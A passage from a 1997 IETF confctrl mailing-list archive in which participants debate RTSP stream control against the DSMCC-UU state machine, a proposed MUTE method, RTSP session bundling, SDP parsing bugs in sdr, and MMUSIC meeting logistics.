doing a quite simple thing (the control of a stream delivery) is a non-sense.
While it may be argued that RTSP is a lighter protocol than DSMCC-UU, as it
is message based instead of relying on RPCs, at least the semantic of the
messages in both protocols should be maintained, to avoid the totally
unuseful definition of two different state machines. This would at least
allow implementors to develop a single Stream State Machine and to use it
for both RTSP and DSMCC-UU.

Maybe the advantages of sharing such a Stream State Machine are not that
relevant, however I believe that at least there are no disadvantages! And
adopting the semantic of the DSMCC-UU Stream Interface would avoid any
further loss of energy in the definition of a powerful enough stream control
mechanism in RTSP!

Just to give the basic hints on the DSMCC-UU Stream Interface, here are the
commands specified:

	void resume (in AppNPT rStart, in Scale rScale)
	void pause (in AppNPT rStop) 
	void jump (in AppNPT rStart, in AppNPT rStop, in Scale rScale)
	void play (in AppNPT rStart, in AppNPT rStop, in Scale rScale)
	void status (in Stat rAppStatus, out Stat rActStatus)
	void reset ()

where the types are:

        typedef u_long Mode;
        struct AppNPT {s_long aSeconds; u_long aMicroSeconds;};
        struct Scale {s_short aNumerator; u_short aDenominator;};
	struct Stat {AppNPT rPosition; Scale rScale; Mode aMode;};
	
and the modes defined are:

	const Mode OPEN_M = 0;			
	const Mode PAUSE_M = 1;			
  	const Mode TRANSPORT_M = 2; 		
	const Mode TRANSPORT_PAUSE_M = 3; 	
	const Mode SEARCH_TRANSPORT_M = 4; 	
	const Mode SEARCH_TRANSPORT_PAUSE_M = 5; 
	const Mode PAUSE_SEARCH_TRANSPORT_M = 6; 
	const Mode END_OF_STREAM_M = 7; 		
	const Mode PRE_SEARCH_TRANSPORT_M = 8;
	const Mode PRE_SEARCH_TRANSPORT_PAUSE_M = 9;

The Scale parameter allows for fast forwarding, reverse, slow motion ...
Resume resumes the stream starting from rStart, with scale rScale;
Pause pauses the stream when it reaches rStop;
Play plays the stream from rStart to rStop, at scale rScale;
Jump allows to seamless jump between different segments of the stream,
jumping at rStart when rStop is reached, playing then with scale rScale.
The rStart and rStop parameters also have the notion of NOW, which is coded
as 0x80000000 aSeconds.

A few more words on the Stream State Machine philosophy:

As you can see, the Stream State Machine is NOT just a 2 or 3 state machine,
but involves 10 states! At a first glance this may seem too complex. 
However, the RTSP State Machine will grow this way too, if hw video-pumps
(controlled by the State Machine but asynchrous with respect to the State
Machine itself) are being introduced in the picture, and race conditions
fully addressed.
Nevertheless, once we accept that a server is statefull, it does not care
that much how many states are defined: what really cares instead, is that
the State Machine is not broken!

But let me try to explain how we arrived at defining such many states in
DSMCC: the whole design of this State Machine allows for storing up to 1
Stop and up to one Start position, and associates the presence of such
stored Start and/or Stop with the State definition. That is, the conceptual
"sending" state translates to:

- TRANSPORT if no Start or Stop are stored
- TRANSPORT_PAUSE if a Stop is stored
- PAUSE_SEARCH_TRANSPORT_PAUSE if both a Stop and a Start are stored

Moreover, the granularity of the State Machine has been fully explicitated
in order to allow a precise description of it and consider the possible race
conditions. The model takes into account the fact that the stream-pump may
actually be run asynchronously with respect to the Stream State Machine
itself (that is, different intelligent units might take care of the Stream
State Machine and of the actual delivery of the bits). This leads to the
definition of a number of additional states, which actually could not even
exist on simpler, full-software server implementations. Namely:

- SEARCH_TRANSPORT is the state between the instant a Start is considered by
the State Machine and the instant in which the transmission begins (and no
Stop is stored): it almost instantaneously transitions to TRANSPORT
- SEARCH_TRANSPORT_PAUSE is like the previous one, but is a different state
in order to take into account that a Stop is stored: it almost
instantaneously transitions to TRANSPORT_PAUSE
- PRE_SEARCH_TRANSPORT is the state between the instant a new Start is
received by the State Machine (that is: a Play or Resume command is
received) while already in TRANSPORT or TRANSPORT_PAUSE, and the instant the
current transmission stops (e.g: to complete a video frame): it almost
instantaneously transitions to SEARCH_TRANSPORT and then TRANSPORT
- PRE_SEARCH_TRANSPORT_PAUSE is like the previous one, but is a different
state in order to take into account that a Stop is stored: it almost
instantaneously transitions to SEARCH_TRANSPORT_PAUSE and then TRANSPORT_PAUSE

To complete this description, let me show how the lists of commands
suggested by Henning would work in DSMCC:

>All commands are issued in short succession:
>
>PLAY 10-15
>PLAY 17-19
>
>means that the server should play NPT 10 through 15, immediately
>followed by 10 through 19. (Rather than interrupting the playing of
>10-15 and jumping to 17-19 as soon as it gets the second PLAY).
>
DSMCC: OPEN ==>
       <PLAY 10-15> ==>
       SEARCH_TRANSPORT_PAUSE (Start=10, Stop=15) ==>
       TRANSPORT_PAUSE (Stop=15) ==>
       <PLAY 17-19> ==>
       PRE_SEARCH_TRANSPORT_PAUSE(Stop immediately, then Start=17, Stop=19) ==>
       SEARCH_TRANSPORT_PAUSE(Start=17, Stop=19) ==>
       TRANSPORT_PAUSE(Stop=19) ==>
       <timeline reaches 19> ==>
       PAUSE()
Actually means that the second PLAY cancels the previous one.

>PLAY 10-15
>PLAY 17-19
>PAUSE
>
>would interrupt the server whenever it gets the PAUSE, in either the
>first or second segment.
>
DSMCC: OPEN ==>
       <PLAY 10-15> ==>
       SEARCH_TRANSPORT_PAUSE (Start=10, Stop=15) ==>
       TRANSPORT_PAUSE (Stop=15) ==>
       <PLAY 17-19> ==>
       PRE_SEARCH_TRANSPORT_PAUSE(Stop immediately, then Start=17, Stop=19) ==>
       SEARCH_TRANSPORT_PAUSE(Start=17, Stop=19) ==>
       TRANSPORT_PAUSE(Stop=19) ==>
       <PAUSE> ==>
       PAUSE()
Actually means that the second PLAY cancels the previous one, and that the
PAUSE pauses the delivery at the time it is received. (It is PAUSE NOW, in
DSMCC terminology). All previous Start/Stop are forgotten!

>PLAY 10-15
>PLAY 17-19
>PAUSE 16
>
>would pause the stream after playing 10-15, position NPT to 16 and not
>play 17-19 at all.
>
DSMCC: OPEN ==>
       <PLAY 10-15> ==>
       SEARCH_TRANSPORT_PAUSE (Start=10, Stop=15) ==>
       TRANSPORT_PAUSE (Stop=15) ==>
       <PLAY 17-19> ==>
       PRE_SEARCH_TRANSPORT_PAUSE(Stop immediately, then Start=17, Stop=19) ==>
       SEARCH_TRANSPORT_PAUSE(Start=17, Stop=19) ==>
       TRANSPORT_PAUSE(Stop=19) ==>
       <PAUSE 16> ==>
       PAUSE()
Actually means that the second PLAY cancels the previous one, and that the
PAUSE pauses the delivery at the time it is received. (It is equivalent to
PAUSE NOW, in DSMCC terminology, as the Stop parameter refers to a point in
the timeline which has been already elapsed). All previous Start/Stop are
forgotten!

Comments?
__________________________________________________________________________

Guido Franceschini

Multimedia Applications

CSELT                         Tel.:  + 39 11 2286137
Via G.  Reiss Romoli, 274     Fax :  + 39 11 2286190
10148 Torino - Italy          E-mail :  guido.franceschini@cselt.stet.it
__________________________________________________________________________


From majordom@ISI.EDU  Tue Mar 11 07:34:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09301>; Mon, 10 Mar 1997 07:36:39 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09289>; Mon, 10 Mar 1997 07:36:35 -0800
Received: from net.tsinghua.edu.cn (oar.net.tsinghua.edu.cn) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18888>; Mon, 10 Mar 1997 07:36:29 -0800
Received: from localhost by net.tsinghua.edu.cn (5.x/SMI-SVR4)
	id AA01268; Mon, 10 Mar 1997 23:34:19 +0800
Date: Mon, 10 Mar 1997 23:34:19 +0800 (CST)
From: Changjian SUN <zhuang@net.tsinghua.edu.cn>
To: confctrl@isi.edu
Subject: Please sign me off.
In-Reply-To: <2.2.32.19970310100719.0037b8a4@anduril.cselt.stet.it>
Message-Id: <Pine.SOL.3.95.970310233228.1267A-100000@oar.net.tsinghua.edu.cn>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

All,

Please sign me off. Thanks.

-Yongzhou Zhuang


From majordom@ISI.EDU  Mon Mar 10 03:57:03 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26000>; Mon, 10 Mar 1997 11:57:17 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25986>; Mon, 10 Mar 1997 11:57:14 -0800
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA03878>; Mon, 10 Mar 1997 11:57:13 -0800
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA09603; Mon, 10 Mar 97 11:57:03 PST
Date: Mon, 10 Mar 97 11:57:03 PST
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9703101957.AA09603@vlsi.cs.caltech.edu>
To: confctrl@isi.edu
Subject: Re: unsubscribing [was Please sign me off.]
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This procedure has changed over the life of the group.
Enclosed is the latest info.

E.

----- Begin Included Message -----

From: confctrl-request@isi.edu
Subject: Your mail to confctrl-request@zephyr.isi.edu
 
This pre-recorded message is being sent in response to your recent
email to confctrl-request@zephyr.isi.edu.

All routine administrative requests (including subscriptions and
unsubscriptions) concerning this mailing list are handled by an
automated server.  Please read this message carefully to find the
information relevant to you.

SUBSCRIBING
===========

To subscribe to confctrl, send the following in the body (not
the subject line) of an email message to "majordomo@zephyr.isi.edu":

	subscribe confctrl

This will subscribe the account from which you send the message to
the confctrl list.

If you wish to subscribe another address instead (such as a local
redistribution list), you can use a command of the form:

	subscribe confctrl other-address@your_site.your_net

UNSUBSCRIBING
=============

To unsubscribe from confctrl, send the following in the body (not
the subject line) of an email message to "majordomo@zephyr.isi.edu":

	unsubscribe confctrl

This will unsubscribe the account from which you send the message.
If you are subscribed with some other address, you'll have to send
a command of the following form instead:

	unsubscribe confctrl other-address@your_site.your_net

If you don't know what address you are subscribed with, you can send
the following command to see who else is on the list (assuming that
information isn't designated "private" by the owner of the list):o

	who confctrl

If you want to search non-privte lists at this server, you can do that
by sending a command like:

	which string

This will return a list of all entries on all lists that contain "string".

HELP
====

To find out more about the automated server and the commands it
understands, send the following command to "majordomo@zephyr.isi.edu":

	help

If you feel you need to reach a human, send email to

	confctrl-approval@zephyr.isi.edu



----- End Included Message -----


From majordom@ISI.EDU  Fri Mar 14 10:31:27 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01870>; Fri, 14 Mar 1997 18:31:33 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01864>; Fri, 14 Mar 1997 18:31:32 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA02603>; Fri, 14 Mar 1997 18:31:30 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA14162; Fri, 14 Mar 97 18:31:28 PST
Message-Id: <9703150231.AA14162@std.sri.com>
To: confctrl@isi.edu
Cc: mjh@isi.edu, schooler@cs.caltech.edu, rlang@std.sri.com
Subject: MMUSIC at 38th IETF
Date: Fri, 14 Mar 1997 18:31:27 -0800
From: Ruth Lang <rlang@std.sri.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Folks,

MMUSIC is scheduled to meet for two sessions at the upcoming 38th IETF
in Memphis, Tennessee.

   Tuesday, April 8, 0900-1130
   Wednesday, April 9, 1700-1800

Review and discussion on the following are planned:

   RTSP		Real Time Streaming Protocol
		draft-ietf-mmusic-rtsp-01.txt, .ps

   SIP		Session Initiation Protocol
		draft-ietf-mmusic-sip-01.txt, .ps

   SAP		Session Announcement Protocol
		draft-ietf-mmusic-sap-00.txt, .ps

At this time we welcome your input and suggestions for items to be
added to this list.  Please send email directly to the chairs (i.e.,
not to confctrl@isi.edu).  A draft agenda will be forwarded to the
group sometime next week.

Hope to see you in Memphis.

Mark, Eve, and Ruth

From majordom@ISI.EDU  Sun Mar 23 13:29:28 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27449>; Sun, 23 Mar 1997 15:29:32 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27443>; Sun, 23 Mar 1997 15:29:30 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA21327>; Sun, 23 Mar 1997 15:29:29 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA24526 for <confctrl@isi.edu>; Sun, 23 Mar 1997 18:29:28 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id SAA05012 for <confctrl@isi.edu>; Sun, 23 Mar 1997 18:29:28 -0500 (EST)
Message-Id: <3335BCD8.4C0A@cs.columbia.edu>
Date: Sun, 23 Mar 1997 18:29:28 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: Mute vs. PAUSE in RTSP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I think it might be useful to have a MUTE request that stops delivery of
a stream without interrupting the time progress. Currently, the
assumption is that

PAUSE /movie

stops time and delivery, while

PAUSE /movie/audio

just stops delivery of audio (mutes it), while the video track (and thus
time) keeps on playing. This does not seem clean, as it doesn't
correspond to typical word (and VCR button) usage.

An alternative would be a new method, MUTE, that continues time
progress, but interrupts delivery.

MUTE /movie

doesn't make a whole lot of sense (although it may in some circumstances
where, say, the server can't do absolute positioning and I just want to
wasting my pay-per-byte dollars on the next ten minutes of drivel).

MUTE /movie/audio

would simply shut off delivery of the audio stream, without affecting
progress on other streams. Presumably, we would need an UNMUTE as well.
(Thus, MUTE-UNMUTE are akin to PAUSE-PLAY.)

The disadvantage is that PAUSE then really only makes sense on the
top-level stream (/movie). We could define PAUSE to pause the whole show
even if issued for a stream (say, /movie/audio) or simply disallow it
for anything but the whole show.

I realize that MUTE has an audio-ring to it, so better terms are
solicited. STOP is bad.

Clearly, I can't mute a stream that I'm not playing, but that's not too
difficult to handle.

Comments?

Henning

From majordom@ISI.EDU  Mon Mar 24 12:06:13 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28410>; Mon, 24 Mar 1997 14:08:15 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28404>; Mon, 24 Mar 1997 14:08:13 -0800
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA25135>; Mon, 24 Mar 1997 14:08:10 -0800
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id RAA04768; Mon, 24 Mar 1997 17:06:13 -0500
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@isi.edu
Subject: SDP not-quite-last-call
Date: Mon, 24 Mar 1997 17:06:13 -0500
Message-Id: <4766.859241173@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I plan to issue a new SDP draft in the next couple of days, and then
issue a last-call on it.  So far I've only made minor editorial
changes from the existing draft.  If there's anything you know is
still outstanding that I've forgotten about, now would be a good time
to remind me.

Mark

From majordom@ISI.EDU  Tue Mar 25 13:13:37 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29151>; Tue, 25 Mar 1997 01:05:46 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29145>; Tue, 25 Mar 1997 01:05:44 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA25960>; Tue, 25 Mar 1997 01:05:40 -0800
Received: (qmail 7611 invoked by uid 1067); 25 Mar 1997 09:13:37 -0000
Date: Tue, 25 Mar 1997 11:13:37 +0200 (EET)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@isi.edu
Subject: Re: Mute vs. PAUSE in RTSP
In-Reply-To: <3335BCD8.4C0A@cs.columbia.edu>
Message-Id: <Pine.LNX.3.95.970325110711.7333A-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Sun, 23 Mar 1997, Henning Schulzrinne wrote:

>I think it might be useful to have a MUTE request that stops delivery of
>a stream without interrupting the time progress. Currently, the
>assumption is that
>
>PAUSE /movie
>
>stops time and delivery, while
>
>PAUSE /movie/audio
>
>just stops delivery of audio (mutes it), while the video track (and thus
>time) keeps on playing. This does not seem clean, as it doesn't
>correspond to typical word (and VCR button) usage.

Hmm. Assuming the tracks come from different servers, what happens if you
separately kill each and every one of the separate parts of the
presentation? Does the time stop or not? If yes, then you're bound to have
some synchro problems, if not, you have your MUTE method right there.

>An alternative would be a new method, MUTE, that continues time
>progress, but interrupts delivery.
>
>MUTE /movie
>
>doesn't make a whole lot of sense (although it may in some circumstances
>where, say, the server can't do absolute positioning and I just want to
>wasting my pay-per-byte dollars on the next ten minutes of drivel).

Hmm. It would seem to make a lot of sense if the presentation is
real-time. (Conference, was it?) In this case keeping the connections but
pausing delivery would be quite nice (For example, for the time to go to
the fridge in the middle of a conference... ;).

>MUTE /movie/audio
>
>would simply shut off delivery of the audio stream, without affecting
>progress on other streams. Presumably, we would need an UNMUTE as well.
>(Thus, MUTE-UNMUTE are akin to PAUSE-PLAY.)
>
>The disadvantage is that PAUSE then really only makes sense on the
>top-level stream (/movie). We could define PAUSE to pause the whole show
>even if issued for a stream (say, /movie/audio) or simply disallow it
>for anything but the whole show.

Not very consistent usage, in my opinion.

>I realize that MUTE has an audio-ring to it, so better terms are
>solicited. STOP is bad.

HOLD, for example.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Tue Mar 25 11:32:26 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29600>; Tue, 25 Mar 1997 01:36:16 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29594>; Tue, 25 Mar 1997 01:36:14 -0800
Received: from concorde.inria.fr by venera.isi.edu (5.65c/5.61+local-26)
	id <AA26837>; Tue, 25 Mar 1997 01:35:58 -0800
Received: from maillol.inria.fr (maillol.inria.fr [128.93.25.14]) by concorde.inria.fr (8.7.6/8.7.3) with ESMTP id KAA08501; Tue, 25 Mar 1997 10:35:41 +0100 (MET)
Received: (from liao@localhost) by maillol.inria.fr (8.7.6/8.7.3) id KAA27527; Tue, 25 Mar 1997 10:32:26 +0100 (MET)
Date: Tue, 25 Mar 1997 10:32:26 +0100 (MET)
Message-Id: <199703250932.KAA27527@maillol.inria.fr>
From: Tie Liao <Tie.Liao@inria.fr>
To: mjh@ISI.EDU
Cc: confctrl@ISI.EDU
In-Reply-To: <4766.859241173@buttle.lcs.mit.edu> (message from Mark Handley on
	Mon, 24 Mar 1997 17:06:13 -0500)
Subject: Re: SDP not-quite-last-call
Reply-To: Tie.Liao@inria.fr
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> I plan to issue a new SDP draft in the next couple of days, and then
> issue a last-call on it.  So far I've only made minor editorial
> changes from the existing draft.  If there's anything you know is
> still outstanding that I've forgotten about, now would be a good time
> to remind me.

Good.

I have found a problem in its implementation in sdr. Sdr seems not to
correctly interpret the following field:

m=<media> <port> <transport> <fmt list>

when we provide number of ports. Example:

m=video 3456/4 XXX/YYY 0

In sdr, we see media video, port 3456, proto /4, format XXX/YYY.
I am using sdr.sunOS5.V2.3a1.

Tie

From majordom@ISI.EDU  Tue Mar 25 03:41:59 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03584>; Tue, 25 Mar 1997 05:42:06 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03574>; Tue, 25 Mar 1997 05:42:04 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA04407>; Tue, 25 Mar 1997 05:42:03 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id IAA13742; Tue, 25 Mar 1997 08:42:01 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id IAA09075; Tue, 25 Mar 1997 08:41:59 -0500 (EST)
Message-Id: <3337D627.42EB@cs.columbia.edu>
Date: Tue, 25 Mar 1997 08:41:59 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Sampo Syreeni <decoy@edu.lahti.fi>
Cc: confctrl@isi.edu
Subject: Re: Mute vs. PAUSE in RTSP
References: <Pine.LNX.3.95.970325110711.7333A-100000@nexus.edu.lahti.fi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Muting for multicast should be done by dropping membership, so that the
network can be relieved of carrying data. Does not require RTSP help
(and RTSP wouldn't help here, anyway).

In discussions I've had since I wrote this note, I'm becoming more
convinced that a single RTSP session should really only control a single
media stream (which may consist of several substreams, as when you are
delivering a Quicktime/AVI/ASF movie) to avoid problems with
presentation authors piecing together unrelated media objects. Muting,
however, may still be useful in some circumstances, but its interaction
with PAUSE requires further thought. Probably a version-2 item.

From majordom@ISI.EDU  Tue Mar 25 17:34:45 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06626>; Tue, 25 Mar 1997 07:35:12 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06620>; Tue, 25 Mar 1997 07:35:10 -0800
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-26)
	id <AA08899>; Tue, 25 Mar 1997 07:35:08 -0800
Received: by www45.inria.fr (8.8.5/8.6.12) id QAA08912; Tue, 25 Mar 1997 16:34:46 +0100 (MET)
Message-Id: <199703251534.QAA08912@www45.inria.fr>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@ISI.EDU
Subject: Re: Mute vs. PAUSE in RTSP 
In-Reply-To: Your message of "Tue, 25 Mar 1997 08:41:59 EST."
             <3337D627.42EB@cs.columbia.edu> 
Date: Tue, 25 Mar 1997 16:34:45 +0100
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>In discussions I've had since I wrote this note, I'm becoming more
>convinced that a single RTSP session should really only control a single
>media stream (which may consist of several substreams, as when you are
>delivering a Quicktime/AVI/ASF movie) 

But the substreams are stored in a single file, and stored on a single server ?
So, if you have an audio and a video, you either deliver them multiplexed
into a single stream, or keep two RTSP sessions for controling them ?

>to avoid problems with
>presentation authors piecing together unrelated media objects. 

Could you elaborate a bit on the problems ? Different time-bases etc. ?
I would guess that presentation authors know what they are doing/will be
able to test it out.
Or do you mean: seperate streams don't work, so it's not worth for
RTSP to support them ? If so, why don't they work ?

From majordom@ISI.EDU  Tue Mar 25 06:09:11 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08090>; Tue, 25 Mar 1997 08:09:19 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08079>; Tue, 25 Mar 1997 08:09:16 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA10528>; Tue, 25 Mar 1997 08:09:13 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA18809; Tue, 25 Mar 1997 11:09:12 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id LAA09266; Tue, 25 Mar 1997 11:09:12 -0500 (EST)
Message-Id: <3337F8A7.27F7@cs.columbia.edu>
Date: Tue, 25 Mar 1997 11:09:11 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Cc: Henning Schulzrinne <schulzrinne@opus.cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: Mute vs. PAUSE in RTSP
References: <199703251534.QAA08912@www45.inria.fr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Philipp Hoschka wrote:
> 
> >In discussions I've had since I wrote this note, I'm becoming more
> >convinced that a single RTSP session should really only control a single
> >media stream (which may consist of several substreams, as when you are
> >delivering a Quicktime/AVI/ASF movie)
> 
> But the substreams are stored in a single file, and stored on a single server ?
> So, if you have an audio and a video, you either deliver them multiplexed
> into a single stream, or keep two RTSP sessions for controling them ?

Yes, three choices: either a single RTP session (if RTP, using different
SSRCs and PTs - I'm not claiming this is a good idea), as an
AVI/Quicktime/ASF format encapsulated as RTP packets or as separate RTP
streams (separate ports, etc.), where the client has no clue that they
came from the same on-disk media file. Two separate RTSP sessions are
not that bad. All you need is

PLAY /movie/audio
Range: 17-

PLAY /movie/video
Range: 17-

in a single UDP packet or TCP stream.

> 
> >to avoid problems with
> >presentation authors piecing together unrelated media objects.
> 
> Could you elaborate a bit on the problems ? Different time-bases etc. ?
> I would guess that presentation authors know what they are doing/will be
> able to test it out.
> Or do you mean: seperate streams don't work, so it's not worth for
> RTSP to support them ? If so, why don't they work ?

Separate streams work just fine from a synchronization (done at the
receiver anyway) and server standpoint, although playing together a
"synchronized" sound track of "Twisters" and the video of "Forrest Gump"
may have unintended comical effects. It's just that the server has to
know about the presentation description to recognize that
/movie/audio.en and /movie/video.loqual were tied together by the
description author as /movie/. This can be done (using the Session or
state maintenance mechanism in the draft) and should work, but is a
little more complicated. The sequence for "bundling" would be

SETUP /movie/audio.en RTSP/1.0
Transport: port=1234

server sends session info back:

RTSP/1.0 200 
Session: 17

SETUP /movie/video.en RTSP/1.0
Transport: port=1235
Session: 17

(server adds this to the list of streams for this session 17)

PLAY /movie RTSP/1.0
Session: 17

(server recognizes the session and, by looking at the URL, figures out
that this command applies to the whole presentation rather than a
stream).

From majordom@ISI.EDU  Tue Mar 25 06:35:21 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09636>; Tue, 25 Mar 1997 08:37:39 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09624>; Tue, 25 Mar 1997 08:37:37 -0800
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA11956>; Tue, 25 Mar 1997 08:37:34 -0800
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA06190; Tue, 25 Mar 1997 11:35:22 -0500
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Tie.Liao@inria.fr
Cc: confctrl@ISI.EDU
Subject: Re: SDP not-quite-last-call 
In-Reply-To: Your message of "Tue, 25 Mar 1997 10:32:26 +0100."
             <199703250932.KAA27527@maillol.inria.fr> 
Date: Tue, 25 Mar 1997 11:35:21 -0500
Message-Id: <6188.859307721@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>> I plan to issue a new SDP draft in the next couple of days, and then
>> issue a last-call on it.  So far I've only made minor editorial
>> changes from the existing draft.  If there's anything you know is
>> still outstanding that I've forgotten about, now would be a good time
>> to remind me.
>
>Good.
>
>I have found a problem in its implementation in sdr. Sdr seems not to
>correctly interpret the following field:

Yes, sdr is not a complete implementation of all that's in the spec.
It does implement the majority of the spec though, and Precept's IP/TV
implements some of the others.  I simply have never had the time, and
never had access to a layered codec so not had the requirement either.

What sdr doesn't do but should is:
  use the bandwidth fields.
  use multiple groups or ports for a single media.
  use multiple formats for a single media.
  use the timezone field.

I consider all of these necessary parts of SDP, and the fact that sdr
doesn't implement them could be called a bug :-)

Mark

From majordom@ISI.EDU  Tue Mar 25 07:10:43 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12182>; Tue, 25 Mar 1997 09:13:23 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12176>; Tue, 25 Mar 1997 09:13:21 -0800
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA14288>; Tue, 25 Mar 1997 09:13:14 -0800
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id MAA06364; Tue, 25 Mar 1997 12:10:43 -0500
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@isi.edu
Subject: Re: Mute vs. PAUSE in RTSP 
In-Reply-To: Your message of "Tue, 25 Mar 1997 08:41:59 EST."
             <3337D627.42EB@cs.columbia.edu> 
Date: Tue, 25 Mar 1997 12:10:43 -0500
Message-Id: <6362.859309843@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>In discussions I've had since I wrote this note, I'm becoming more
>convinced that a single RTSP session should really only control a single
>media stream (which may consist of several substreams, as when you are
